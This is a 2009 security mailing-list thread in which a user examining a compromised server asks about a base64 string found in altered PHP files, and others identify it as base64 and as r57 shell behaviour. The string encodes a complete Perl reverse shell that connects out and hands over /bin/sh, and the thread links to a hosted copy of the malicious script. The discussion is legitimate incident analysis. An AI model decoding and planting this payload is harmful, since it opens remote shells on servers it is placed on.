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Re: connect back PHP hack
From: Justin Rogosky <jrogosky () gmail com>
Date: Tue, 10 Feb 2009 22:01:34 -0500

Just as an FYI:

Webscarab and Paros (web application proxies) both have a good Base64
decoder built-in.

This is useful for any sniffed requested using basic authentication as
well.

--Justin

 
On Tue, 2009-02-10 at 14:34 -0500, sr. wrote:
i really appreciate all of the responses. this is what community is all about.

i'd seen the "==" in other encoding schemes, but just wasn't sure and
wanted a quick response...thanks to everyone who responded!

I'll post the rest of my findings on here asap. i'm looking into an
old compromised machine. this is nothing new..

whoever mentioned the r57 shell, you're probably right as the script
connects to a remote box @ port 11457. this is r57 behaviour.

i also found a copy of the same script i'm dissecting on someone
else's box, you can check it out here:
http://www.menola.org/~matjaz/images/info/o_meni/config.inc.php

in my case, a bunch of php files were modified. i'll zip everything up
and host it so you can all analyze...

thx,

sr. aka "fabrizio siciliano"





On Tue, Feb 10, 2009 at 2:10 PM, Gustavo Castro <gcastrop () gmail com> wrote:
"Sr."

 This is base64 encoded.

2009/2/10 sr. <staticrez () gmail com>:
can anyone tell me what encoding this is?

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

this has to do with old php 4.x.x version with magic quotes enabled.
i'm just trying to figure out what the connect back code does.

any input is much appreciated.

thx,

sr.

--
Saludos,
    Gustavo Castro Puig.
    E-Mail: gcastrop () gmail com

LPI Level-1 Certified (https://www.lpi.org/es/verify.html
LPID:LPI000042304 Verification Code: hp6re8w5qg )
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GCS/CM/IT/ED dx s-:- a? C(+++)$ UL++++*$ P+ L++++(++)$ E--- W+++$ N+ o?
K- w O M V-- PS PE++(-) Y-(+) PGP+ t(++) 5+ X++ R tv+ b++(++++) DI+++
D++ G++ e++ h--- r y+++
------END GEEK CODE BLOCK------
Registered Linux User #69342




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